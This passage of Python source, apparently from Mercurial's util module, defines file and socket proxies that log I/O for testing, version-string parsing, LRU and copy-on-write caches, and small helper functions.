 
         return data
 
 
 def mmapread(fp, size=None):
     if size == 0:
         # size of 0 to mmap.mmap() means "all data"
         # rather than "zero bytes", so special case that.
         return b''
     elif size is None:
         size = 0
     try:
         fd = getattr(fp, 'fileno', lambda: fp)()
         return mmap.mmap(fd, size, access=mmap.ACCESS_READ)
     except ValueError:
         # Empty files cannot be mmapped, but mmapread should still work.  Check
         # if the file is empty, and if so, return an empty buffer.
         if os.fstat(fd).st_size == 0:
             return b''
         raise
 
 
 class fileobjectproxy(object):
     """A proxy around file objects that tells a watcher when events occur.
 
     This type is intended to only be used for testing purposes. Think hard
     before using it in important code.
     """
 
     __slots__ = (
         '_orig',
         '_observer',
     )
 
     def __init__(self, fh, observer):
         object.__setattr__(self, '_orig', fh)
         object.__setattr__(self, '_observer', observer)
 
     def __getattribute__(self, name):
         ours = {
             '_observer',
             # IOBase
             'close',
             # closed if a property
             'fileno',
             'flush',
             'isatty',
             'readable',
             'readline',
             'readlines',
             'seek',
             'seekable',
             'tell',
             'truncate',
             'writable',
             'writelines',
             # RawIOBase
             'read',
             'readall',
             'readinto',
             'write',
             # BufferedIOBase
             # raw is a property
             'detach',
             # read defined above
             'read1',
             # readinto defined above
             # write defined above
         }
 
         # We only observe some methods.
         if name in ours:
             return object.__getattribute__(self, name)
 
         return getattr(object.__getattribute__(self, '_orig'), name)
 
     def __nonzero__(self):
         return bool(object.__getattribute__(self, '_orig'))
 
     __bool__ = __nonzero__
 
     def __delattr__(self, name):
         return delattr(object.__getattribute__(self, '_orig'), name)
 
     def __setattr__(self, name, value):
         return setattr(object.__getattribute__(self, '_orig'), name, value)
 
     def __iter__(self):
         return object.__getattribute__(self, '_orig').__iter__()
 
     def _observedcall(self, name, *args, **kwargs):
         # Call the original object.
         orig = object.__getattribute__(self, '_orig')
         res = getattr(orig, name)(*args, **kwargs)
 
         # Call a method on the observer of the same name with arguments
         # so it can react, log, etc.
         observer = object.__getattribute__(self, '_observer')
         fn = getattr(observer, name, None)
         if fn:
             fn(res, *args, **kwargs)
 
         return res
 
     def close(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'close', *args, **kwargs
         )
 
     def fileno(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'fileno', *args, **kwargs
         )
 
     def flush(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'flush', *args, **kwargs
         )
 
     def isatty(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'isatty', *args, **kwargs
         )
 
     def readable(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'readable', *args, **kwargs
         )
 
     def readline(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'readline', *args, **kwargs
         )
 
     def readlines(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'readlines', *args, **kwargs
         )
 
     def seek(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'seek', *args, **kwargs
         )
 
     def seekable(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'seekable', *args, **kwargs
         )
 
     def tell(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'tell', *args, **kwargs
         )
 
     def truncate(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'truncate', *args, **kwargs
         )
 
     def writable(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'writable', *args, **kwargs
         )
 
     def writelines(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'writelines', *args, **kwargs
         )
 
     def read(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'read', *args, **kwargs
         )
 
     def readall(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'readall', *args, **kwargs
         )
 
     def readinto(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'readinto', *args, **kwargs
         )
 
     def write(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'write', *args, **kwargs
         )
 
     def detach(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'detach', *args, **kwargs
         )
 
     def read1(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'read1', *args, **kwargs
         )
 
 
 class observedbufferedinputpipe(bufferedinputpipe):
     """A variation of bufferedinputpipe that is aware of fileobjectproxy.
 
     ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
     bypass ``fileobjectproxy``. Because of this, we need to make
     ``bufferedinputpipe`` aware of these operations.
 
     This variation of ``bufferedinputpipe`` can notify observers about
     ``os.read()`` events. It also re-publishes other events, such as
     ``read()`` and ``readline()``.
     """
 
     def _fillbuffer(self):
         res = super(observedbufferedinputpipe, self)._fillbuffer()
 
         fn = getattr(self._input._observer, 'osread', None)
         if fn:
             fn(res, _chunksize)
 
         return res
 
     # We use different observer methods because the operation isn't
     # performed on the actual file object but on us.
     def read(self, size):
         res = super(observedbufferedinputpipe, self).read(size)
 
         fn = getattr(self._input._observer, 'bufferedread', None)
         if fn:
             fn(res, size)
 
         return res
 
     def readline(self, *args, **kwargs):
         res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
 
         fn = getattr(self._input._observer, 'bufferedreadline', None)
         if fn:
             fn(res)
 
         return res
 
 
 PROXIED_SOCKET_METHODS = {
     'makefile',
     'recv',
     'recvfrom',
     'recvfrom_into',
     'recv_into',
     'send',
     'sendall',
     'sendto',
     'setblocking',
     'settimeout',
     'gettimeout',
     'setsockopt',
 }
 
 
 class socketproxy(object):
     """A proxy around a socket that tells a watcher when events occur.
 
     This is like ``fileobjectproxy`` except for sockets.
 
     This type is intended to only be used for testing purposes. Think hard
     before using it in important code.
     """
 
     __slots__ = (
         '_orig',
         '_observer',
     )
 
     def __init__(self, sock, observer):
         object.__setattr__(self, '_orig', sock)
         object.__setattr__(self, '_observer', observer)
 
     def __getattribute__(self, name):
         if name in PROXIED_SOCKET_METHODS:
             return object.__getattribute__(self, name)
 
         return getattr(object.__getattribute__(self, '_orig'), name)
 
     def __delattr__(self, name):
         return delattr(object.__getattribute__(self, '_orig'), name)
 
     def __setattr__(self, name, value):
         return setattr(object.__getattribute__(self, '_orig'), name, value)
 
     def __nonzero__(self):
         return bool(object.__getattribute__(self, '_orig'))
 
     __bool__ = __nonzero__
 
     def _observedcall(self, name, *args, **kwargs):
         # Call the original object.
         orig = object.__getattribute__(self, '_orig')
         res = getattr(orig, name)(*args, **kwargs)
 
         # Call a method on the observer of the same name with arguments
         # so it can react, log, etc.
         observer = object.__getattribute__(self, '_observer')
         fn = getattr(observer, name, None)
         if fn:
             fn(res, *args, **kwargs)
 
         return res
 
     def makefile(self, *args, **kwargs):
         res = object.__getattribute__(self, '_observedcall')(
             'makefile', *args, **kwargs
         )
 
         # The file object may be used for I/O. So we turn it into a
         # proxy using our observer.
         observer = object.__getattribute__(self, '_observer')
         return makeloggingfileobject(
             observer.fh,
             res,
             observer.name,
             reads=observer.reads,
             writes=observer.writes,
             logdata=observer.logdata,
             logdataapis=observer.logdataapis,
         )
 
     def recv(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'recv', *args, **kwargs
         )
 
     def recvfrom(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'recvfrom', *args, **kwargs
         )
 
     def recvfrom_into(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'recvfrom_into', *args, **kwargs
         )
 
     def recv_into(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'recv_info', *args, **kwargs
         )
 
     def send(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'send', *args, **kwargs
         )
 
     def sendall(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'sendall', *args, **kwargs
         )
 
     def sendto(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'sendto', *args, **kwargs
         )
 
     def setblocking(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'setblocking', *args, **kwargs
         )
 
     def settimeout(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'settimeout', *args, **kwargs
         )
 
     def gettimeout(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'gettimeout', *args, **kwargs
         )
 
     def setsockopt(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'setsockopt', *args, **kwargs
         )
 
 
 class baseproxyobserver(object):
     def __init__(self, fh, name, logdata, logdataapis):
         self.fh = fh
         self.name = name
         self.logdata = logdata
         self.logdataapis = logdataapis
 
     def _writedata(self, data):
         if not self.logdata:
             if self.logdataapis:
                 self.fh.write(b'\n')
                 self.fh.flush()
             return
 
         # Simple case writes all data on a single line.
         if b'\n' not in data:
             if self.logdataapis:
                 self.fh.write(b': %s\n' % stringutil.escapestr(data))
             else:
                 self.fh.write(
                     b'%s>     %s\n' % (self.name, stringutil.escapestr(data))
                 )
             self.fh.flush()
             return
 
         # Data with newlines is written to multiple lines.
         if self.logdataapis:
             self.fh.write(b':\n')
 
         lines = data.splitlines(True)
         for line in lines:
             self.fh.write(
                 b'%s>     %s\n' % (self.name, stringutil.escapestr(line))
             )
         self.fh.flush()
 
 
 class fileobjectobserver(baseproxyobserver):
     """Logs file object activity."""
 
     def __init__(
         self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
     ):
         super(fileobjectobserver, self).__init__(fh, name, logdata, logdataapis)
         self.reads = reads
         self.writes = writes
 
     def read(self, res, size=-1):
         if not self.reads:
             return
         # Python 3 can return None from reads at EOF instead of empty strings.
         if res is None:
             res = b''
 
         if size == -1 and res == b'':
             # Suppress pointless read(-1) calls that return
             # nothing. These happen _a lot_ on Python 3, and there
             # doesn't seem to be a better workaround to have matching
             # Python 2 and 3 behavior. :(
             return
 
         if self.logdataapis:
             self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
 
         self._writedata(res)
 
     def readline(self, res, limit=-1):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
 
         self._writedata(res)
 
     def readinto(self, res, dest):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
             )
 
         data = dest[0:res] if res is not None else b''
 
         # _writedata() uses "in" operator and is confused by memoryview because
         # characters are ints on Python 3.
         if isinstance(data, memoryview):
             data = data.tobytes()
 
         self._writedata(data)
 
     def write(self, res, data):
         if not self.writes:
             return
 
         # Python 2 returns None from some write() calls. Python 3 (reasonably)
         # returns the integer bytes written.
         if res is None and data:
             res = len(data)
 
         if self.logdataapis:
             self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
 
         self._writedata(data)
 
     def flush(self, res):
         if not self.writes:
             return
 
         self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
 
     # For observedbufferedinputpipe.
     def bufferedread(self, res, size):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
             )
 
         self._writedata(res)
 
     def bufferedreadline(self, res):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
             )
 
         self._writedata(res)
 
 
 def makeloggingfileobject(
     logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
 ):
     """Turn a file object into a logging file object."""
 
     observer = fileobjectobserver(
         logh,
         name,
         reads=reads,
         writes=writes,
         logdata=logdata,
         logdataapis=logdataapis,
     )
     return fileobjectproxy(fh, observer)
 
 
 class socketobserver(baseproxyobserver):
     """Logs socket activity."""
 
     def __init__(
         self,
         fh,
         name,
         reads=True,
         writes=True,
         states=True,
         logdata=False,
         logdataapis=True,
     ):
         super(socketobserver, self).__init__(fh, name, logdata, logdataapis)
         self.reads = reads
         self.writes = writes
         self.states = states
 
     def makefile(self, res, mode=None, bufsize=None):
         if not self.states:
             return
 
         self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
 
     def recv(self, res, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
             )
         self._writedata(res)
 
     def recvfrom(self, res, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> recvfrom(%d, %d) -> %d'
                 % (self.name, size, flags, len(res[0]))
             )
 
         self._writedata(res[0])
 
     def recvfrom_into(self, res, buf, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> recvfrom_into(%d, %d) -> %d'
                 % (self.name, size, flags, res[0])
             )
 
         self._writedata(buf[0 : res[0]])
 
     def recv_into(self, res, buf, size=0, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
             )
 
         self._writedata(buf[0:res])
 
     def send(self, res, data, flags=0):
         if not self.writes:
             return
 
         self.fh.write(
             b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
         )
         self._writedata(data)
 
     def sendall(self, res, data, flags=0):
         if not self.writes:
             return
 
         if self.logdataapis:
             # Returns None on success. So don't bother reporting return value.
             self.fh.write(
                 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
             )
 
         self._writedata(data)
 
     def sendto(self, res, data, flagsoraddress, address=None):
         if not self.writes:
             return
 
         if address:
             flags = flagsoraddress
         else:
             flags = 0
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> sendto(%d, %d, %r) -> %d'
                 % (self.name, len(data), flags, address, res)
             )
 
         self._writedata(data)
 
     def setblocking(self, res, flag):
         if not self.states:
             return
 
         self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
 
     def settimeout(self, res, value):
         if not self.states:
             return
 
         self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
 
     def gettimeout(self, res):
         if not self.states:
             return
 
         self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
 
     def setsockopt(self, res, level, optname, value):
         if not self.states:
             return
 
         self.fh.write(
             b'%s> setsockopt(%r, %r, %r) -> %r\n'
             % (self.name, level, optname, value, res)
         )
 
 
 def makeloggingsocket(
     logh,
     fh,
     name,
     reads=True,
     writes=True,
     states=True,
     logdata=False,
     logdataapis=True,
 ):
     """Turn a socket into a logging socket."""
 
     observer = socketobserver(
         logh,
         name,
         reads=reads,
         writes=writes,
         states=states,
         logdata=logdata,
         logdataapis=logdataapis,
     )
     return socketproxy(fh, observer)
 
 
 def version():
     """Return version information if available."""
     try:
         from . import __version__
 
         return __version__.version
     except ImportError:
         return b'unknown'
 
 
 def versiontuple(v=None, n=4):
     """Parses a Mercurial version string into an N-tuple.
 
     The version string to be parsed is specified with the ``v`` argument.
     If it isn't defined, the current Mercurial version string will be parsed.
 
     ``n`` can be 2, 3, or 4. Here is how some version strings map to
     returned values:
 
     >>> v = b'3.6.1+190-df9b73d2d444'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, 1)
     >>> versiontuple(v, 4)
     (3, 6, 1, '190-df9b73d2d444')
 
     >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
     (3, 6, 1, '190-df9b73d2d444+20151118')
 
     >>> v = b'3.6'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, None)
     >>> versiontuple(v, 4)
     (3, 6, None, None)
 
     >>> v = b'3.9-rc'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc')
 
     >>> v = b'3.9-rc+2-02a8fea4289b'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc+2-02a8fea4289b')
 
     >>> versiontuple(b'4.6rc0')
     (4, 6, None, 'rc0')
     >>> versiontuple(b'4.6rc0+12-425d55e54f98')
     (4, 6, None, 'rc0+12-425d55e54f98')
     >>> versiontuple(b'.1.2.3')
     (None, None, None, '.1.2.3')
     >>> versiontuple(b'12.34..5')
     (12, 34, None, '..5')
     >>> versiontuple(b'1.2.3.4.5.6')
     (1, 2, 3, '.4.5.6')
     """
     if not v:
         v = version()
     m = remod.match(br'(\d+(?:\.\d+){,2})[+-]?(.*)', v)
     if not m:
         vparts, extra = b'', v
     elif m.group(2):
         vparts, extra = m.groups()
     else:
         vparts, extra = m.group(1), None
 
     assert vparts is not None  # help pytype
 
     vints = []
     for i in vparts.split(b'.'):
         try:
             vints.append(int(i))
         except ValueError:
             break
     # (3, 6) -> (3, 6, None)
     while len(vints) < 3:
         vints.append(None)
 
     if n == 2:
         return (vints[0], vints[1])
     if n == 3:
         return (vints[0], vints[1], vints[2])
     if n == 4:
         return (vints[0], vints[1], vints[2], extra)
 
 
 def cachefunc(func):
     '''cache the result of function calls'''
     # XXX doesn't handle keywords args
     if func.__code__.co_argcount == 0:
         listcache = []
 
         def f():
             if len(listcache) == 0:
                 listcache.append(func())
             return listcache[0]
 
         return f
     cache = {}
     if func.__code__.co_argcount == 1:
         # we gain a small amount of time because
         # we don't need to pack/unpack the list
         def f(arg):
             if arg not in cache:
                 cache[arg] = func(arg)
             return cache[arg]
 
     else:
 
         def f(*args):
             if args not in cache:
                 cache[args] = func(*args)
             return cache[args]
 
     return f
 
 
 class cow(object):
     """helper class to make copy-on-write easier
 
     Call preparewrite before doing any writes.
     """
 
     def preparewrite(self):
         """call this before writes, return self or a copied new object"""
         if getattr(self, '_copied', 0):
             self._copied -= 1
             return self.__class__(self)
         return self
 
     def copy(self):
         """always do a cheap copy"""
         self._copied = getattr(self, '_copied', 0) + 1
         return self
 
 
 class sortdict(collections.OrderedDict):
     '''a simple sorted dictionary
 
     >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
     >>> d2 = d1.copy()
     >>> d2
     sortdict([('a', 0), ('b', 1)])
     >>> d2.update([(b'a', 2)])
     >>> list(d2.keys()) # should still be in last-set order
     ['b', 'a']
     >>> d1.insert(1, b'a.5', 0.5)
     >>> d1
     sortdict([('a', 0), ('a.5', 0.5), ('b', 1)])
     '''
 
     def __setitem__(self, key, value):
         if key in self:
             del self[key]
         super(sortdict, self).__setitem__(key, value)
 
     if pycompat.ispypy:
         # __setitem__() isn't called as of PyPy 5.8.0
         def update(self, src):
             if isinstance(src, dict):
                 src = pycompat.iteritems(src)
             for k, v in src:
                 self[k] = v
 
     def insert(self, position, key, value):
         for (i, (k, v)) in enumerate(list(self.items())):
             if i == position:
                 self[key] = value
             if i >= position:
                 del self[k]
                 self[k] = v
 
 
 class cowdict(cow, dict):
     """copy-on-write dict
 
     Be sure to call d = d.preparewrite() before writing to d.
 
     >>> a = cowdict()
     >>> a is a.preparewrite()
     True
     >>> b = a.copy()
     >>> b is a
     True
     >>> c = b.copy()
     >>> c is a
     True
     >>> a = a.preparewrite()
     >>> b is a
     False
     >>> a is a.preparewrite()
     True
     >>> c = c.preparewrite()
     >>> b is c
     False
     >>> b is b.preparewrite()
     True
     """
 
 
 class cowsortdict(cow, sortdict):
     """copy-on-write sortdict
 
     Be sure to call d = d.preparewrite() before writing to d.
     """
 
 
 class transactional(object):  # pytype: disable=ignored-metaclass
     """Base class for making a transactional type into a context manager."""
 
     __metaclass__ = abc.ABCMeta
 
     @abc.abstractmethod
     def close(self):
         """Successfully closes the transaction."""
 
     @abc.abstractmethod
     def release(self):
         """Marks the end of the transaction.
 
         If the transaction has not been closed, it will be aborted.
         """
 
     def __enter__(self):
         return self
 
     def __exit__(self, exc_type, exc_val, exc_tb):
         try:
             if exc_type is None:
                 self.close()
         finally:
             self.release()
 
 
 @contextlib.contextmanager
 def acceptintervention(tr=None):
     """A context manager that closes the transaction on InterventionRequired
 
     If no transaction was provided, this simply runs the body and returns
     """
     if not tr:
         yield
         return
     try:
         yield
         tr.close()
     except error.InterventionRequired:
         tr.close()
         raise
     finally:
         tr.release()
 
 
 @contextlib.contextmanager
 def nullcontextmanager():
     yield
 
 
 class _lrucachenode(object):
     """A node in a doubly linked list.
 
     Holds a reference to nodes on either side as well as a key-value
     pair for the dictionary entry.
     """
 
     __slots__ = ('next', 'prev', 'key', 'value', 'cost')
 
     def __init__(self):
         self.next = None
         self.prev = None
 
         self.key = _notset
         self.value = None
         self.cost = 0
 
     def markempty(self):
         """Mark the node as emptied."""
         self.key = _notset
         self.value = None
         self.cost = 0
 
 
 class lrucachedict(object):
     """Dict that caches most recent accesses and sets.
 
     The dict consists of an actual backing dict - indexed by original
     key - and a doubly linked circular list defining the order of entries in
     the cache.
 
     The head node is the newest entry in the cache. If the cache is full,
     we recycle head.prev and make it the new head. Cache accesses result in
     the node being moved to before the existing head and being marked as the
     new head node.
 
     Items in the cache can be inserted with an optional "cost" value. This is
     simply an integer that is specified by the caller. The cache can be queried
     for the total cost of all items presently in the cache.
 
     The cache can also define a maximum cost. If a cache insertion would
     cause the total cost of the cache to go beyond the maximum cost limit,
     nodes will be evicted to make room for the new code. This can be used
     to e.g. set a max memory limit and associate an estimated bytes size
     cost to each item in the cache. By default, no maximum cost is enforced.
     """
 
     def __init__(self, max, maxcost=0):
         self._cache = {}
 
         self._head = head = _lrucachenode()
         head.prev = head
         head.next = head
         self._size = 1
         self.capacity = max
         self.totalcost = 0
         self.maxcost = maxcost
 
     def __len__(self):
         return len(self._cache)
 
     def __contains__(self, k):
         return k in self._cache
 
     def __iter__(self):
         # We don't have to iterate in cache order, but why not.
         n = self._head
         for i in range(len(self._cache)):
             yield n.key
             n = n.next
 
     def __getitem__(self, k):
         node = self._cache[k]
         self._movetohead(node)
         return node.value
 
     def insert(self, k, v, cost=0):
         """Insert a new item in the cache with optional cost value."""
         node = self._cache.get(k)
         # Replace existing value and mark as newest.
         if node is not None:
             self.totalcost -= node.cost
             node.value = v
             node.cost = cost
             self.totalcost += cost
             self._movetohead(node)
 
             if self.maxcost:
                 self._enforcecostlimit()
 
             return
 
         if self._size < self.capacity:
             node = self._addcapacity()
         else:
             # Grab the last/oldest item.
             node = self._head.prev
 
         # At capacity. Kill the old entry.
         if node.key is not _notset:
             self.totalcost -= node.cost
             del self._cache[node.key]
 
         node.key = k
         node.value = v
         node.cost = cost
         self.totalcost += cost
         self._cache[k] = node
         # And mark it as newest entry. No need to adjust order since it
         # is already self._head.prev.
         self._head = node
 
         if self.maxcost:
             self._enforcecostlimit()
 
     def __setitem__(self, k, v):
         self.insert(k, v)
 
     def __delitem__(self, k):
         self.pop(k)
 
     def pop(self, k, default=_notset):
         try:
             node = self._cache.pop(k)
         except KeyError:
             if default is _notset:
                 raise
             return default
 
         assert node is not None  # help pytype
         value = node.value
         self.totalcost -= node.cost
         node.markempty()
 
         # Temporarily mark as newest item before re-adjusting head to make
         # this node the oldest item.
         self._movetohead(node)
         self._head = node.next
 
         return value
 
     # Additional dict methods.
 
     def get(self, k, default=None):
         try:
             return self.__getitem__(k)
         except KeyError:
             return default
 
     def peek(self, k, default=_notset):
         """Get the specified item without moving it to the head
 
         Unlike get(), this doesn't mutate the internal state. But be aware
         that it doesn't mean peek() is thread safe.
         """
         try:
             node = self._cache[k]
             return node.value
         except KeyError:
             if default is _notset:
                 raise
             return default
 
     def clear(self):
         n = self._head
         while n.key is not _notset:
             self.totalcost -= n.cost
             n.markempty()
             n = n.next
 
         self._cache.clear()
 
     def copy(self, capacity=None, maxcost=0):
         """Create a new cache as a copy of the current one.
 
         By default, the new cache has the same capacity as the existing one.
         But, the cache capacity can be changed as part of performing the
         copy.
 
         Items in the copy have an insertion/access order matching this
         instance.
         """
 
         capacity = capacity or self.capacity
         maxcost = maxcost or self.maxcost
         result = lrucachedict(capacity, maxcost=maxcost)
 
         # We copy entries by iterating in oldest-to-newest order so the copy
         # has the correct ordering.
 
         # Find the first non-empty entry.
         n = self._head.prev
         while n.key is _notset and n is not self._head:
             n = n.prev
 
         # We could potentially skip the first N items when decreasing capacity.
         # But let's keep it simple unless it is a performance problem.
         for i in range(len(self._cache)):
             result.insert(n.key, n.value, cost=n.cost)
             n = n.prev
 
         return result
 
     def popoldest(self):
         """Remove the oldest item from the cache.
 
         Returns the (key, value) describing the removed cache entry.
         """
         if not self._cache:
             return
 
         # Walk the linked list backwards starting at tail node until we hit
         # a non-empty node.
         n = self._head.prev
         while n.key is _notset:
             n = n.prev
 
         assert n is not None  # help pytype
 
         key, value = n.key, n.value
 
         # And remove it from the cache and mark it as empty.
         del self._cache[n.key]
         self.totalcost -= n.cost
         n.markempty()
 
         return key, value
 
     def _movetohead(self, node):
         """Mark a node as the newest, making it the new head.
 
         When a node is accessed, it becomes the freshest entry in the LRU
         list, which is denoted by self._head.
 
         Visually, let's make ``N`` the new head node (* denotes head):
 
             previous/oldest <-> head <-> next/next newest
 
             ----<->--- A* ---<->-----
             |                       |
             E <-> D <-> N <-> C <-> B
 
         To:
 
             ----<->--- N* ---<->-----
             |                       |
             E <-> D <-> C <-> B <-> A
 
         This requires the following moves:
 
            C.next = D  (node.prev.next = node.next)
            D.prev = C  (node.next.prev = node.prev)
            E.next = N  (head.prev.next = node)
            N.prev = E  (node.prev = head.prev)
            N.next = A  (node.next = head)
            A.prev = N  (head.prev = node)
         """
         head = self._head
         # C.next = D
         node.prev.next = node.next
         # D.prev = C
         node.next.prev = node.prev
         # N.prev = E
         node.prev = head.prev
         # N.next = A
         # It is tempting to do just "head" here, however if node is
         # adjacent to head, this will do bad things.
         node.next = head.prev.next
         # E.next = N
         node.next.prev = node
         # A.prev = N
         node.prev.next = node
 
         self._head = node
 
     def _addcapacity(self):
         """Add a node to the circular linked list.
 
         The new node is inserted before the head node.
         """
         head = self._head
         node = _lrucachenode()
         head.prev.next = node
         node.prev = head.prev
         node.next = head
         head.prev = node
         self._size += 1
         return node
 
     def _enforcecostlimit(self):
         # This should run after an insertion. It should only be called if total
         # cost limits are being enforced.
         # The most recently inserted node is never evicted.
         if len(self) <= 1 or self.totalcost <= self.maxcost:
             return
 
         # This is logically equivalent to calling popoldest() until we
         # free up enough cost. We don't do that since popoldest() needs
         # to walk the linked list and doing this in a loop would be
         # quadratic. So we find the first non-empty node and then
         # walk nodes until we free up enough capacity.
         #
         # If we only removed the minimum number of nodes to free enough
         # cost at insert time, chances are high that the next insert would
         # also require pruning. This would effectively constitute quadratic
         # behavior for insert-heavy workloads. To mitigate this, we set a
         # target cost that is a percentage of the max cost. This will tend
         # to free more nodes when the high water mark is reached, which
         # lowers the chances of needing to prune on the subsequent insert.
         targetcost = int(self.maxcost * 0.75)
 
         n = self._head.prev
         while n.key is _notset:
             n = n.prev
 
         while len(self) > 1 and self.totalcost > targetcost:
             del self._cache[n.key]
             self.totalcost -= n.cost
             n.markempty()
             n = n.prev
 
 
 def lrucachefunc(func):
     '''cache most recent results of function calls'''
     cache = {}
     order = collections.deque()
     if func.__code__.co_argcount == 1:
 
         def f(arg):
             if arg not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[arg] = func(arg)
             else:
                 order.remove(arg)
             order.append(arg)
             return cache[arg]
 
     else:
 
         def f(*args):
             if args not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[args] = func(*args)
             else:
                 order.remove(args)
             order.append(args)
             return cache[args]
 
     return f
 
 
 class propertycache(object):
     def __init__(self, func):
         self.func = func
         self.name = func.__name__
 
     def __get__(self, obj, type=None):
         result = self.func(obj)
         self.cachevalue(obj, result)
         return result
 
     def cachevalue(self, obj, value):
         # __dict__ assignment required to bypass __setattr__ (eg: repoview)
         obj.__dict__[self.name] = value
 
 
 def clearcachedproperty(obj, prop):
     '''clear a cached property value, if one has been set'''
     prop = pycompat.sysstr(prop)
     if prop in obj.__dict__:
         del obj.__dict__[prop]
 
 
 def increasingchunks(source, min=1024, max=65536):
     '''return no less than min bytes per chunk while data remains,
     doubling min after each chunk until it reaches max'''
 
     def log2(x):
         if not x:
             return 0
         i = 0
         while x:
             x >>= 1
             i += 1
         return i - 1
 
     buf = []
     blen = 0
     for chunk in source:
         buf.append(chunk)
         blen += len(chunk)
         if blen >= min:
             if min < max:
                 min = min << 1
                 nmin = 1 << log2(blen)
                 if nmin > min:
                     min = nmin
                 if min > max:
                     min = max
             yield b''.join(buf)
             blen = 0
             buf = []
     if buf:
         yield b''.join(buf)
 
 
 def always(fn):
     return True
 
 
 def never(fn):
     return False
 
 
 def nogc(func):
     """disable garbage collector
 
     Python's garbage collector triggers a GC each time a certain number of
     container objects (the number being defined by gc.get_threshold()) are
     allocated even when marked not to be tracked by the collector. Tracking has
     no effect on when GCs are triggered, only on what objects the GC looks
     into. As a workaround, disable GC while building complex (huge)
     containers.
 
     This garbage collector issue have been fixed in 2.7. But it still affect
     CPython's performance.
     """
 
     def wrapper(*args, **kwargs):
         gcenabled = gc.isenabled()
         gc.disable()
         try:
             return func(*args, **kwargs)
         finally:
             if gcenabled:
                 gc.enable()
 
     return wrapper
 
 
 if pycompat.ispypy:
     # PyPy runs slower with gc disabled
     nogc = lambda x: x
 
 
 def pathto(root, n1, n2):
     '''return the relative path from one place to another.
     root should use os.sep to separate directories
     n1 should use os.sep to separate directories
     n2 should use "/" to separate directories
     returns an os.sep-separated path.
 
     If n1 is a relative path, it's assumed it's
     relative to root.
     n2 should always be relative to root.
     '''
     if not n1:
         return localpath(n2)
     if os.path.isabs(n1):
         if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
             return os.path.join(root, localpath(n2))
         n2 = b'/'.join((pconvert(root), n2))
     a, b = splitpath(n1), n2.split(b'/')
